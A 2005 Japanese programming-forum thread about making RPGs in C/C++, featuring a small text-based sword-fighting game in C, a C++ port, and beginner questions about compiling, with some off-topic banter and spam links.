C/C++言語でRPGを作ってみるスレ

このエントリーをはてなブックマークに追加
1武家諸法度@co.jp
作りたい人がきて。
2デフォルトの名無しさん:2005/04/30(土) 13:10:02
続きはこちらでどうぞ。
http://pc8.2ch.net/test/read.cgi/gamedev/1101161690/
3武家諸法度@co.jp:2005/04/30(土) 13:13:55
 こっちでもやろうぜ。
4デフォルトの名無しさん:2005/04/30(土) 13:14:52
やろうぜ
5デフォルトの名無しさん:2005/04/30(土) 13:17:03
int lv; lv += 1;

これでも立派な RPG です。
6デフォルトの名無しさん:2005/04/30(土) 14:56:36
RPGよりプログラミングのほうが面白いよな。
レベルだのレアアイテムだの、どこぞのPGが書いた単なる変数の値に
一喜一憂して何が楽しいんだろ。
7デフォルトの名無しさん:2005/04/30(土) 15:11:03
>>6
それは言いすぎじゃないか?
自分だってどこの誰が書いたコンパイラで一喜一憂しているくせに
8デフォルトの名無しさん:2005/04/30(土) 18:15:49
みんな何か勘違いしてないか?
RPGは言語だぞ!
9デフォルトの名無しさん:2005/04/30(土) 20:36:14
ロケットランチャーだろ
10デフォルトの名無しさん:2005/04/30(土) 21:36:46
よくある RPGゲーム という言い方が
ある意味皮肉として正しい気がする件
11デフォルトの名無しさん:2005/04/30(土) 23:36:18
AS400のことですか?
12デフォルトの名無しさん:2005/05/01(日) 00:21:52
>>5
初期化せぇ
13デフォルトの名無しさん:2005/05/01(日) 00:46:16
>>12
Javaしか知らないんですか?
1412:2005/05/01(日) 01:01:56
>>13
スレタイ嫁
15デフォルトの名無しさん:2005/05/01(日) 01:03:50
>>14
Cではあの位置では初期化不要です
だから、>>12のようなこと言うのは
Javaやってるやつかなと・・・
16デフォルトの名無しさん:2005/05/01(日) 01:08:23
>>15
>Cではあの位置では初期化不要です

おいおい
17デフォルトの名無しさん:2005/05/01(日) 01:20:01
いつのまにか初期化不要になってたんだ。
全然知らなかった。もうプログラマ引退だな…
18デフォルトの名無しさん:2005/05/01(日) 15:17:11
グローバルなら初期化わざわざ書く必要はないが、ローカルならちゃんと書かなきゃだめだろ
19武家諸法度@co.jp:2005/05/01(日) 18:57:51
みんなCとC++のどっちやってる?
20デフォルトの名無しさん:2005/05/01(日) 19:04:44
>>19
武家諸法度ってどんなのがある?
21武家諸法度@co.jp:2005/05/01(日) 19:12:00
>>20
一、文武弓馬の道をもっぱらたしなむこと。・・など
ほかは自分で調べろ。そのほうが勉強になる。

それより、「厨房」ってどうゆう意味?
22武家諸法度@co.jp:2005/05/01(日) 19:14:11
つけたしでCとかをプログラミングするやつって
どこでダウンロードするの?
23デフォルトの名無しさん:2005/05/01(日) 19:16:31
Eclipseのプラグインの話をしているのか?
24武家諸法度@co.jp:2005/05/01(日) 19:22:02
>>19
マジでどっちやってるか教えて
25デフォルトの名無しさん:2005/05/01(日) 19:24:39
おれはC言語やっている
C++をなぜやらないかと言われても答えを出すのは難しいんだけど・・・
C言語でこと足りるので・・・


26武家諸法度@co.jp:2005/05/01(日) 19:28:36
へぇ〜。じゃ、みんなそうなの?
27デフォルトの名無しさん:2005/05/01(日) 19:31:14
ただし、俺はC言語の他に
Java,Perl,PHPができる(shもいれとくか)
1つだけって言うのはさみしいと思うけど・・・
28デフォルトの名無しさん:2005/05/01(日) 19:49:17
>Java,Perl,PHPができる(shもいれとくか)
無料だったら何でもいいってことですか?
29デフォルトの名無しさん:2005/05/01(日) 20:12:14
C++を使っている。
iostreamとかstd::stringとかがあるからってもの理由に入るだけど、単純にベターCとして使うのも美味い。
30デフォルトの名無しさん:2005/05/01(日) 20:16:35
無料の意味がわかんないけど
逆に有料の言語なんてあるのかな?
例えばLinuxいれたらコンパイラ必要な奴も全部無料だよね
31デフォルトの名無しさん:2005/05/01(日) 20:39:30
でだ、誰か小規模の設計してくれないか?
ついでにOOも教えてくれると・・・
たより過ぎか
32デフォルトの名無しさん:2005/05/01(日) 20:42:02
RPG作ったこと無いし、あまりやったこと無いのでどんな要求があるのかわからない
33デフォルトの名無しさん:2005/05/01(日) 21:50:18
つうかC++使った方が楽じゃん
ゲームタスク組む時とか
34デフォルトの名無しさん:2005/05/02(月) 00:52:52
わざわざC++で組む意味がわからん。
速度の要求されない部分はもっと楽な言語でいいじゃん。
35デフォルトの名無しさん:2005/05/02(月) 04:04:13
無料の RPG ってあるの?
IBMの汎用機とか買わないと使えないものだと思ってた。
36デフォルトの名無しさん:2005/05/02(月) 05:25:28
C++使えるのにCだけでやる意味が分からん
37武家諸法度@co.jp:2005/05/02(月) 05:53:04
>>22の続きで、本当にC++とかダウンロードするとこ教えて。
あと厨房の意味も。
38デフォルトの名無しさん:2005/05/02(月) 07:43:29
C++そのものはダウンロードできない。逆にいうと、紙と鉛筆やメモ帳さえあればC++は記述できる。

厨房ってのは…
厨房【ちゅうぼう】
食物を調理する所。くりや。台所。調理場。・・など
ほかは自分で調べろ。そのほうが勉強になる。
…といったような、文脈にそぐわないレスを繰り返す人がその一例。
他にも多義に渡るが、総じて肯定的な意味では使われない。
http://www.google.co.jp/ で軽く検索をかければすぐに分かるような簡単な疑問について
恥じることもなく質問する人を含む。
39デフォルトの名無しさん:2005/05/02(月) 09:05:00





















>>38
文章的に破綻しています。

40武家諸法度@co.jp:2005/05/02(月) 16:33:07
>>38
ふーん。じゃ、どーやってC++をプログラミングするの?
41デフォルトの名無しさん:2005/05/02(月) 16:46:22
キーボードを叩いて。
42デフォルトの名無しさん:2005/05/02(月) 16:54:40
何この、厨臭漂う糞スレは
43デフォルトの名無しさん:2005/05/02(月) 16:55:40
何って言われても、みたまんまのスレだよ。
44デフォルトの名無しさん:2005/05/02(月) 17:07:45
確かに見たままの糞スレとしか言いようがないスレなのは確かなようだが
45武家諸法度@co.jp:2005/05/02(月) 21:00:49
しかたないな・・・

俺的には、1000いきたいな・・ 
ま、かいてればそのうちいくし

しかも、これはCでRPG作る技術をつけるためのすれだしな
46武家諸法度@co.jp:2005/05/02(月) 21:02:51
>>42に相手するな
47デフォルトの名無しさん:2005/05/02(月) 22:25:59
>>1
やっぱ気になる?
48デフォルトの名無しさん:2005/05/02(月) 22:40:47
C++コンパイラは無料でDL可能だよ
49デフォルトの名無しさん:2005/05/02(月) 22:54:06
>>36
>C++使えるのにCだけでやる意味が分からん

オープンソースにしていろんな環境で使ってもらおうとするときに、
C++で書くと、「どこまで規格準拠したC++なのか」がバラバラで、
結局使えないから。
50デフォルトの名無しさん:2005/05/02(月) 23:07:27
ちなみにC言語はC++より 何かが速い
51デフォルトの名無しさん:2005/05/02(月) 23:10:06
>>49
>オープンソースにしていろんな環境で使ってもらおうとするときに
そんなRPG聞いた事ないぞ
52デフォルトの名無しさん:2005/05/02(月) 23:14:42
>>51
しぃ〜黙ってて
いま、49が作ってるから
53デフォルトの名無しさん:2005/05/02(月) 23:24:21
>>18 も認識間違ってると思うのだが、
初期化が必要ないのは static 変数の場合でしょ? Cの場合。
Javaならコンパイル時にエラー。C/C++未経験者もいるみたいなので一応突っ込んでおく。
54デフォルトの名無しさん:2005/05/02(月) 23:44:04
(゚д゚)・・・・
55デフォルトの名無しさん:2005/05/02(月) 23:45:27
>>53
本気なのか?
56デフォルトの名無しさん:2005/05/02(月) 23:59:13
(≧∀≦)
57デフォルトの名無しさん:2005/05/03(火) 00:26:46
>int lv; lv += 1;
のように、続けて書いてある時点で、何処に書いてあろうがダウト
まぁ、
#define int Hero
とかしてあって、+=をオーバーロードしてあれば大丈夫かもしれんが
予約語をプリプロセッサに掛けた事はないので、どうなるかは知らないが…
5831:2005/05/03(火) 00:32:23
お客的要望
キーボードかマウスで(そのシーンで止まっても可)の入力、出力(内部の受け取り)方法
文章表示や戦闘などのイベント処理への移行方法と復帰
表示文字(文章)の追加削除の影響がプログラムに与える影響の縮小(プログラム内に平書きしてた)
入力⇒:画像表示(後キャラ表示)⇔イベントシーン:通知の流れ?ん?

[All ゲ制作技術]
みんなでオリジナルRPG作るぞ!INゲ制作 Part4
ttp://pc8.2ch.net/test/read.cgi/gamedev/1114439070/
中身の議論の例

C++でRPGゲームを作成する
ttp://pc8.2ch.net/test/read.cgi/gamedev/1101161690/
>107 >108

無料で俺がRPGを作れるようにするスレ
ttp://pc8.2ch.net/test/read.cgi/gamedev/1059218326/
98氏 >107 >190 >211 245氏

wiki
ttp://gamdev.gozaru.jp/w/00398_00000.html
うpろだ
ttp://gamdev.org/up/upload.php

Delphi,HSP,ツクール ,OO,マルチスレッド,まだまだ先は遠い
ROMはたくさんいる,google,段階的
59デフォルトの名無しさん:2005/05/03(火) 06:39:57
俺、武家諸法度からフォルトの名無しさんになった
60デフォルトの名無しさん:2005/05/03(火) 06:41:01
 つーかだれかRPGつくれよ
61デフォルトの名無しさん:2005/05/03(火) 07:46:21
つーか全員ゲ作成技術板行けよ
62(・∀・)作ってミターヨ:2005/05/03(火) 10:48:48
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
void pause(void){printf("ENTER> ");fflush(stdout);fgetc(stdin);}int d100(void){return rand()%100;}
int main(void){int hp=20,lv=1,exp=0,hour=0,day=1,mode=1,d,e_hp,e_lv;char s[256],*e_name;srand
(time(NULL));printf("You're a Sword Master wannabee.\nFight and get experienced!\n");pause();
while(lv<6&&hp>0&&!feof(stdin)){printf("\nStatus: HP=%d, Lv=%d, Exp=%d\n",hp,lv,exp,day);
printf("Command? ");fflush(stdout);fgets(s,256,stdin);switch(mode){case 0:/*FIGHTING*/
if(!strncmp(s,"attack",6)){d=d100();if(d<lv*2+50){if(d<5+lv){printf("CRITICAL HIT!!\n");
d=lv*10+d100()%10;}else{printf("Hit!!\n");d=lv+d100()%5;}printf("You gave %d point%s of damage to the %s!!\n",
d,d>1?"s":"",e_name);e_hp-=d;if(e_hp<=0){pause();printf("You defeated the %s!\n",e_name);pause();
d=d100()%e_lv+5;printf("You got %d point%s of experience!!\n",d,d>1?"s":"");exp+=d;if(lv==exp/20){pause();
printf("LEVEL UP!!\n");pause();lv++;if(lv<6)printf("You're now Sword Master wannabee Level %d!! (max HP=%d)\n",
lv,lv*20);}mode=1;break;}}else{printf("Missed!!\n");}enemy:pause();if(e_hp>0){printf("The %s's attack!!\n",
e_name);pause();d=d100();if(d<e_lv*3+28){printf("Hit!!\n");pause();d=d100()%(e_hp/2+1)+e_lv;
63(・∀・)作ってミターヨ:2005/05/03(火) 10:50:12
printf("You got %d point%s of damage!!\n",d,d>1?"s":"");hp-=d;}else{printf("Missed!!\n");}}}else
if(!strncmp(s,"escape",6)){d=d100();if(d<33){printf("Miss!!\n");goto enemy;}else{printf("You escaped!!\n");
mode=1;}}else{printf("Help:\n attack\n escape\n");}if(hp<=0){printf("\nYou died.\n");}break;case 1:/*FIELD*/
if(!strncmp(s,"walk",4)){d=d100();if(d<25){char *enemies[]={"Slime","Draky","Ghost","Skelton","Scorpion",
"Knight","Golem","Dragon"};printf("You encoundered an enemy!!\n");pause();e_lv=d100()%4+lv;e_hp=e_lv*3+d100()%3;
e_name=enemies[e_lv-1];printf("It's a %s!! (HP=%d)\n",e_name,e_hp);mode=0;}else{printf("You walked.\n");hour++;
}if(hp<lv*20)hp++;}else if(!strncmp(s,"rest",4)){printf("You rested.\n");hp+=d100()%5+1;if(hp>lv*20)hp=lv*20;
hour+=3;}else{ printf("Help:\n walk\n rest\n");}if (hour>=12){day++;hour-=12;printf("\n*** Day %d ***\n", day);
pause();}break;}}if(lv==6)printf("\nYou're now *real* Sword Master!! (%d days)\nConglaturations!!\n", day);
printf("\n*** Game Over ***\n");}
64(・∀・)作ってミターヨ:2005/05/03(火) 10:59:47
《取扱説明書》
藻前様は見習い剣士だよ。戦って経験値をうp汁!
歩くとモンスターに遭うよ。戦うか逃げるか汁!
歩くとHPが回復するよ。休むとHPが多めに回復するよ。
ただし時間も多めに過ぎる諸刃の剣。玄人にはお勧めできない。
EXPが100までたまると剣士に認定だよ。
一緒にレベルもうpするよ。敵も強くなるよ。
できるだけ少ない日数でクリア汁!
65デフォルトの名無しさん:2005/05/03(火) 11:09:07
キタネェナ
66(・∀・)作ってミターヨ:2005/05/03(火) 11:14:07
cbコマンドかGNU indentで展開汁!(笑
67デフォルトの名無しさん:2005/05/05(木) 18:29:55
>>62 >>63 >>64
それはCかい?
68デフォルトの名無しさん:2005/05/05(木) 18:34:17
?C以外のなんだというのか
69デフォルトの名無しさん:2005/05/05(木) 20:07:55
C++とWin32APIで作ってみたいんだけど…
「右クリックを押す」でもタイトル画面の時、フィールド画面の時、戦闘画面の時、
それぞれ挙動がちがうけど、みんなどうやって制御してる?
状態を表す変数をドコで保存すればいいのやら…。
グローバル変数で制御するなんてもってのほかだし。
メッセージを受け取ってイベントを制御するクラスを作って、
そのクラスに状態を表す変数を保存すればいいのでしょうか?
70デフォルトの名無しさん:2005/05/05(木) 20:14:09
それがわからんようじゃ無理
71デフォルトの名無しさん:2005/05/05(木) 20:23:01
>>69
MFCやWTLみたいなクラスライブラリを使っていれば、
当然ウィンドウを示すクラスがあるだろうからそのメンバ変数で状態を管理すればよい。

そういうのを使っていなければSetWindowLongPtr()やSetProp()で自前のクラスを保持すればいい。
(WM_CREATEなどでnew、WM_DESTROYなどでdelete)
72デフォルトの名無しさん:2005/05/05(木) 20:25:57
>>69
ルーチン毎に、コールバックの種類を変えるか、
コールバックを呼び出す位置を変えるかかな。
73デフォルトの名無しさん:2005/05/06(金) 07:59:59
突然でわるいんだが、Cはどこでプログラミングすんの?
74デフォルトの名無しさん:2005/05/06(金) 08:05:24
windows2000のコンソールだとエスケープシーケンスで文字消せないんだけど何か方法ない?
75デフォルトの名無しさん:2005/05/06(金) 08:29:06
http://ntgnma039180.gnma.nt.adsl.ppp.infoweb.ne.jp/
うぇwwwっうぇw
うはっwwwおkwwwおkwww
おkwwwwwwっおkwww
っうぇwwwうはっwww
wwwwwwwwwwwwっうぇおkwww
76デフォルトの名無しさん:2005/05/06(金) 09:31:09
>>74
カーソルが行頭に戻るだけでいいなら'\r'
77デフォルトの名無しさん:2005/05/06(金) 09:41:45
>>76
ありがとう
一次元RPG作れそうな気がしてきた
78デフォルトの名無しさん:2005/05/06(金) 12:36:51
>>73
やっぱ、通は花のパリ
79デフォルトの名無しさん:2005/05/06(金) 12:38:45
>>73
好きな所でしろ。
こたつの中でも便所の中でも、
お好みでどうぞ。
80デフォルトの名無しさん:2005/05/06(金) 13:11:05
>>78
「花」ではなく「華」
81デフォルトの名無しさん:2005/05/06(金) 16:00:35
>>79おまえはあの世でしな
ほんとCはどこでプログラミングすんのかおしえて
82デフォルトの名無しさん:2005/05/06(金) 16:14:11
ところでC言語でRPGって作れるの?
83デフォルトの名無しさん:2005/05/06(金) 16:40:55
84デフォルトの名無しさん:2005/05/06(金) 16:45:22
作れますが何か
85デフォルトの名無しさん:2005/05/06(金) 17:18:26
とりあえずサンプルを作ったからこれから改造してみれば?
int main(void){
printf("勇者は3ポイント経験値を得た"};
}
86デフォルトの名無しさん:2005/05/06(金) 17:20:52
int main(void){
printf("勇者は3ポイント経験値を得た\n"};
printf("レベルがあがった!\n"};
}
87デフォルトの名無しさん:2005/05/06(金) 17:34:56
かっこ悪い。
88デフォルトの名無しさん:2005/05/06(金) 18:01:33
>>81の続き
まじでCはどこでプログラミングすんのかおしえろ
しかとすんな
89デフォルトの名無しさん:2005/05/06(金) 18:02:25
頭の中
90デフォルトの名無しさん:2005/05/06(金) 18:03:49
>>88
コンピュータの中

テキストエディタでコードを書きコンパイラでコンパイルし実行する。
この作業の無限ループがプログラミング。
91デフォルトの名無しさん:2005/05/06(金) 18:18:27
http://ZD218022.ppp.dion.ne.jp/

うぇwwwwwwwwwwwwおkwww
っうぇwwwwwwwwwwww
wっおkwwwうぇwwwwwwwwwwwwwww
うはっwwwwwwうぇwww
92デフォルトの名無しさん:2005/05/06(金) 18:30:12
まあ、パリでなくてもローマでもいいんじゃない?
93デフォルトの名無しさん:2005/05/06(金) 18:33:02
とりあえず日本はやめたほうがいいな。
94デフォルトの名無しさん:2005/05/06(金) 18:34:36
ローマは一日にして成らず、だからなあ
95デフォルトの名無しさん:2005/05/06(金) 18:58:32
全ての道はローマに通じるから、日本でも大丈夫。やったね!
96デフォルトの名無しさん:2005/05/06(金) 19:14:41
>>64
すごいです。
アルゴリズムも感動。
一週間でクリアしました(面白かった)
97(・∀・)作ってミターヨ:2005/05/07(土) 14:00:53
作った甲斐があった。レスありがd
98デフォルトの名無しさん:2005/05/07(土) 14:35:43
>>97
8日でクリアしました。面白かったっす。
というか、このゲームをやるためにBCCを入れました。
ゲームより何より、某ランドの登録が一番面倒くさかった…。
99デフォルトの名無しさん:2005/05/07(土) 16:24:34
>>97
ごめん、俺もすごくやりたいんだが、
どこでじっこうするかわかんねー。
100(・∀・)作ってミターヨ:2005/05/07(土) 16:41:55
>>98
意外に好評でビクーリ。ありがd

>>99
1.DOS窓を開く。
2.notepad rpg.c と入力してメモ帳を開く(ファイル名はテキトー)。
3.>>62-63のソースをコピペして保存する。
4.bcc rpg.c と入力してコンパイルする(rpg.exe ができる)。
5.rpg と入力して実行する。

Borland のCコンパイラじゃなく VC++ なら bcc の代わりに cl を使う。
101デフォルトの名無しさん:2005/05/07(土) 19:31:55
>>100
4・5の作業が不明だけど・・
あと、コンパイルってなに

すいまそん・・わからないことだらけで・・
102デフォルトの名無しさん:2005/05/07(土) 19:34:13
こんぱいるしてsauceと呼ぶテキストファイルをOSで実行可能な形式に変換する
"いんたぷりた"ならテキスト形式を解釈しながら実行するが
103デフォルトの名無しさん:2005/05/07(土) 19:44:23
…sourceな
104デフォルトの名無しさん:2005/05/07(土) 19:47:21
Hunger is the best sauce
空腹に勝る調味料はない
105デフォルトの名無しさん:2005/05/07(土) 19:50:21
>102
source code 【コンピュータ】ソース・コード ((高級言語によって記述されたプログラム)).
106デフォルトの名無しさん:2005/05/07(土) 20:45:39
>>62
すげ〜
かなりわかりやすいソースですね

参考までに年齢&PG経験年数&職歴を教えてくれませんか?
107デフォルトの名無しさん:2005/05/07(土) 20:47:43
http://FLH1Ach124.kng.mesh.ad.jp/

うぇwwwっwうぇwww
おkwww
うはっwww
うぇwwwうぇwwwwwwwwwwwwwwww
っうはっwww

wwwwwwwwwwwwうぇwww
108(・∀・)作ってミターヨ:2005/05/08(日) 09:42:21
>>106
三十路のオサーン&リア工以来&院出てPDです。
そろそろ名無しに戻るね。ノシ
109デフォルトの名無しさん:2005/05/08(日) 12:39:06
>>108
また作ってね。
110106:2005/05/08(日) 20:07:51
>>108
どうもっす。
俺もがんばろ〜っと

また作ってね。
111デフォルトの名無しさん:2005/05/09(月) 01:19:38
みんなもうクリアしたのかよ
112デフォルトの名無しさん:2005/05/09(月) 06:31:05
 こうゆうスレなのに、ゲーム系のコード書く人少ないよね・・・・・

(そうゆう俺もそう)
113デフォルトの名無しさん:2005/05/09(月) 06:37:42
もともと板違いのネタスレだからね。
114デフォルトの名無しさん:2005/05/09(月) 07:18:50
ところで(・∀・)作ってミターヨ さんって、なんかそうゆう系統の会社についてるんですか?
115デフォルトの名無しさん:2005/05/09(月) 16:32:01
>>114
いや、完全にアマチュア(というかド素人)です。
116デフォルトの名無しさん:2005/05/09(月) 19:32:41
うそーマジで?そのようには見えないが。
117デフォルトの名無しさん:2005/05/10(火) 19:20:19
Cとかって、けっこう難しそう・・・
118デフォルトの名無しさん:2005/05/10(火) 19:46:42
この至言を与えよう(・∀・)っ[習うより慣れろ]
119デフォルトの名無しさん:2005/05/10(火) 22:13:16
結局、最終的に行き着く事はツ(ク)ール作りなのであった。
120デフォルトの名無しさん:2005/05/10(火) 22:50:57
なんかRPG作りたくなったのでやってきましたよ
121C++に移植しました:2005/05/10(火) 23:17:25
#include <iostream>
#include <string>
#include <cstdlib>
#include <ctime>
using std::rand;using std::cin;using std::cout;using std::endl;using std::string;int r_gen(int);
class Player {int hp,lv,exp;public:Player(){hp=20;lv=1;exp=0;}int level(){ return lv;}bool isalive(){
return hp>0;}void addHp(int d){hp+=d; if(hp>lv*20)hp=lv*20;}bool lowHp(){return hp<lv*20;}void levelUp();
void gain(int d);void damaged(int d);void displayCondition();};class Time { int hour; int day; public:
Time(){hour=0;day=1;}int getDay(){return day;}void spends(int h);};class State {public: virtual State*
process(const string command, Player& p, Time& t)=0;virtual string message()=0;}; class Field : public State {
public: Field(){} State* process(const string command, Player& player, Time& t);string message(){
return "Now, you are in the field.";}};class Fighting : public State { int monster,lv,hp;public:
Fighting(int level){lv=r_gen(4)+level;hp=lv*3+r_gen(3);} string message(){return "Now, you are fighting!!!";}
string getName(){ const std::string name[]={"Slime","Draky","Ghost","Skelton","Scorpion", "Knight","Golem",
"Dragon"};return name[lv-1];}int level(){return lv;}int getHp(){return hp;}void displayCondition();
void damage(int d); bool defeated(){return hp<=0;} bool playersTurn(Player& player);
void enemiesTurn(Player& player);State* process(const string command, Player& player,Time& t);};
int r_gen(int range){return (int) ((double)range*rand()/(RAND_MAX+1.0));}void Player::gain(int d){
cout << "You have gotten " << d << ((d>1)?" points ":" point " ) << "of experience!!" << endl; exp+=d;
if(lv<=exp/20) levelUp();}void Player::levelUp(){cout << "LEVEL UP!!" << endl; lv++; if(lv<6)
cout << "You're now a Level " << level() << " Sword Master wannabe !! (max HP=" << level()*20 << ")" << endl;}
122C++& ◆hRHgVHFhzk :2005/05/10(火) 23:19:47
void Player::damaged(int d){ cout << "You got " << d << ((d>1)?" points":" point")<< " of damage!!" << endl;
hp-=d;}void Player::displayCondition(){cout << "Status: HP=" << hp << ", Lv=" << lv << ", Exp=" << exp << endl;}
void Time::spends(int h){hour+=h;if(hour>=12){day+=(hour/12); hour%=12;cout << "*** Day " << day << " ***"
<< endl;}}State* Field::process(const string command, Player& player, Time& time){if(command=="walk")
{if(r_gen(4)==0){Fighting* f=new Fighting(player.level());cout << "You have been encountering an enemy!!" <<
endl;f->displayCondition();return f;}else{cout << "You have walked." <<endl;time.spends(1);if(player.lowHp())
player.addHp(1);}}else if(command=="rest"){cout << "You are resting..." << endl;player.addHp(r_gen(5)+1);
time.spends(3);}else cout << "Choose command: walk, rest" << endl;return this;}
void Fighting::displayCondition(){cout << "It's a " << getName() << "!! (HP=" << hp << ")" << endl;}
void Fighting::damage(int d){cout << "You have given " << d << ((d>1)?" points":" point" )<<
" of damage to the " << getName() << "!!" << endl;hp-=d;}bool Fighting::playersTurn(Player& player){int d;
d=r_gen(100);if(d>=lv*2+50){cout << "Missed!!" << endl;return false;}if(d<5+lv){cout << "CRITICAL HIT!!" << endl;
damage(player.level()*10+r_gen(10));}else{cout << "Hit!!" << endl;damage(player.level()+r_gen(5));}
if(defeated()){cout << "You have defeated the " << getName() << "!" << endl;player.gain(r_gen(level())+5);
return true;}return false;}void Fighting::enemiesTurn(Player& player){int d;cout <<" Now, " << getName() <<
123C++に移植しました:2005/05/10(火) 23:20:38
" is attacking!!" << endl;d=r_gen(100);if(d>=lv*3+28){cout << "You have avoided its attack!!" << endl;}else{
cout << "You have damaged" << endl;player.damaged(r_gen(getHp()/2+1)+level());}}
State* Fighting::process(const string command, Player& player, Time& time){if(command=="attack"){
if(playersTurn(player))return new Field();enemiesTurn(player);return this;}else if(command=="escape"){
if(r_gen(3)==0){cout << "You missed escaping!!" << endl;enemiesTurn(player);return this;}else{cout <<
"You have succeeded in escaping!!" << cout;return new Field();}}else{cout << "Choose command: attack, escape"
<< endl;return this;}}main(){std::srand (std::time(NULL)); string command;State *currentState, * newState;
Player player;Time time;cout << "You're a Sword Master wannabee." << endl<< "Fight and get experienced!" << endl;
currentState= new Field();cout << currentState->message() << endl;while(player.level()<6&& player.isalive()){
player.displayCondition();cout << "Enter command: ";if(cin >> command){
newState = currentState->process(command,player,time);if(currentState!=newState){delete currentState;
currentState=newState;cout << currentState->message() << endl;}}else break;}if(player.level()==6)
cout << "You're now *real* Sword Master!! (" << time.getDay()<< " days)" << endl<< "Conglaturations!!" << endl;
cout << endl << "*** Game Over ***" << endl;}
124デフォルトの名無しさん:2005/05/10(火) 23:39:18
>>121
using namespace std;の方が文字数を削れると思うけど
125デフォルトの名無しさん:2005/05/11(水) 10:08:18
節約が目的ではないのでは
126デフォルトの名無しさん:2005/05/11(水) 12:32:17
保守
127デフォルトの名無しさん:2005/05/11(水) 13:28:49
C++って、どうやって実行するの?できれば詳しく。
128デフォルトの名無しさん:2005/05/11(水) 13:32:35
http://YahooBB219026012201.bbtec.net/
うぇwwwうはっwwwうはっwww


おkwww
wwwwwwおkwwwwwおkwwwっうぇうはっwww
うぇwwwwwwwwwwwwwwwwwwおkwww
129C++に移植しました:2005/05/11(水) 14:34:45
>>127
基本的には C と同じ。
ファイル名を rpg.cpp にするだけであとは >>100 と同じようにしてみて。
130デフォルトの名無しさん:2005/05/11(水) 16:24:55
ゲーム内容にはノータッチでしょ?
ずいぶん太るんだな。
131GreatFixer ◆ASWqyCy.nQ :2005/05/11(水) 18:00:24
Re:>>12 変数の初期化しないと警告が出る場合があるけど、コンパイルエラーにはならない。
Re:>>35 WWA.
Re:>>36 数値計算とか単純な文字列処理とかだけだとCだけで十分だったりする。
Re:>>50 プログラマに成り上がるのが早い。
Re:>>53 エラーと警告を混同しないようにしてくれ。
Re:>>62-64 これはまたすごいソースだ。
Re:>>82 RPGとは何か?
Re:>>101 bcc.exeが使える状態で、bcc rpg.cがコンパイルのコマンド。
Re:>>121-123 2chだからソースが読みにくいのは仕方の無いことか。
Re:>>127 ソース(source)を書いて適当なファイル名をつける。ここではfile.Cと名前がついているとしよう。gcc.exeが使えるなら、gcc file.Cと入力してできた実行ファイルを実行。dmc.exeが使えるなら、dmc file.Cと入力してできた実行ファイルを実行。
132デフォルトの名無しさん:2005/05/11(水) 18:10:29
ということで、めでたくこのスレ終了ですか
133デフォルトの名無しさん:2005/05/11(水) 19:18:27
>>129
まじめに出来ないのだが・・どうしよ・・
134デフォルトの名無しさん:2005/05/11(水) 19:37:07
>>133
もしかしてLSI-CとかC/C++コンパイラじゃないのを使っている?
135GreatFixer ◆ASWqyCy.nQ :2005/05/11(水) 22:29:05
Re:>>133 初めの質問、Cコンパイラは持ってる?
136GreatFixer ◆ASWqyCy.nQ :2005/05/11(水) 22:36:21
最近のボーランドのやつはbcc32.exeだ。
32ビットプログラム(正式名称が分からない)を生成する奴。
137デフォルトの名無しさん:2005/05/11(水) 23:02:29
CをRPGにクロスコンパイルするのかとオモタ
138≠C++に移植しました氏:2005/05/11(水) 23:12:16
>>121-123 がコンパイル→実行できない(コンパイルする気がない)椰子用に、やっつけでexeをうpしてみた。
http://www.uplo.net/dl.html
ファイル:223 パスワード:rpg
で開き解凍する。ゲーム内での入力は"1"と"2"で行う。1 = walk, attack 2 = rest, escape
139デフォルトの名無しさん:2005/05/12(木) 17:16:24
>>129
127ではないが、VCでコンパイルしたらエラーでた

cl rpg.cpp で実行するとこんなワーニングが出たから
C:\Program Files\Microsoft Visual Studio\VC98\include\istream(547) :
warning C4530: C++ 例外処理を使っていますが、アンワインド セマンティクスは有効にはなりません。-GX を指定してください。

cl /GX rpg.cpp ってしたら
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8804 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.

rpg.cpp
rpg.cpp(5) : error C2039: 'rand' : 'std' のメンバではありません。
rpg.cpp(5) : error C2873: 'rand' : シンボルを using 宣言の中で使用することはできません。
rpg.cpp(43) : error C2039: 'srand' : 'std' のメンバではありません。
rpg.cpp(43) : error C2039: 'time' : 'std' のメンバではありません。
rpg.cpp(50) : warning C4508: 'main' : 関数に戻り値の型が指定されていません。戻り値を void 型と見なします。

となりますた(´・ω・`)
140デフォルトの名無しさん:2005/05/12(木) 17:48:19
なんかライブラリの指定がいるんじゃね?
-lc が必要とか、そういうオチ?(違うと思うけど)
141デフォルトの名無しさん:2005/05/12(木) 18:07:10
>>139を見て俺もやってみたよ
オプションなしだと>>139と同じだたが

>cl -GX rpg.cpp
Microsoft(R) 32-bit C/C++ Optimizing Compiler Version 13.10.3077 for 80x86
Copyright (C) Microsoft Corporation 1984-2002. All rights reserved.

rpg.cpp
Microsoft (R) Incremental Linker Version 7.10.3077
Copyright (C) Microsoft Corporation. All rights reserved.

/out:rpg.exe
rpg.obj

無事作成できました。
142デフォルトの名無しさん:2005/05/12(木) 18:17:17
VCのバージョンで
cstdlib の中身が恐ろしく違うな、これが原因か
143デフォルトの名無しさん:2005/05/12(木) 18:54:06
>>134・135
コンパイラって何ですか?
144C++に移植しました:2005/05/12(木) 19:13:35
みなさんレポートありがとう。
cl version 12 は ANSI C++ には準拠してなくて 13 から準拠したと思えばいいのかな?
私は g++ を使ったけど、 cin を使うだけで割り込みの警告が出たりはしませんでした。
145デフォルトの名無しさん:2005/05/12(木) 19:21:40
ググルさんからアク禁でも喰らっているのか?
146GreatFixer ◆ASWqyCy.nQ :2005/05/12(木) 19:22:01
Re:>>143 ソースを読み込んで実行ファイルを作るもの。(本当は違うが。)
147デフォルトの名無しさん:2005/05/13(金) 06:23:06
コンパイラ不明
148デフォルトの名無しさん:2005/05/13(金) 14:08:12
まったくをもってしても不明。
意味わかんない
149デフォルトの名無しさん:2005/05/14(土) 11:30:11
RPG以外のゲームって作れる?
150デフォルトの名無しさん:2005/05/14(土) 12:01:20
作れる?
151デフォルトの名無しさん:2005/05/14(土) 14:19:22
作れる。
152デフォルトの名無しさん:2005/05/14(土) 14:36:13
世の中のゲームはほとんど全部C/C++言語で作られています
153デフォルトの名無しさん:2005/05/14(土) 14:49:49
ばか、それは大昔の話だよ。
今はほとんどHSPで作られてる。
154釣られてみる:2005/05/14(土) 14:54:07
Ω    ΩΩ<ナ、ナンダッテー!
155デフォルトの名無しさん:2005/05/14(土) 14:56:14
昔はBASIC、今はFLASHが多い
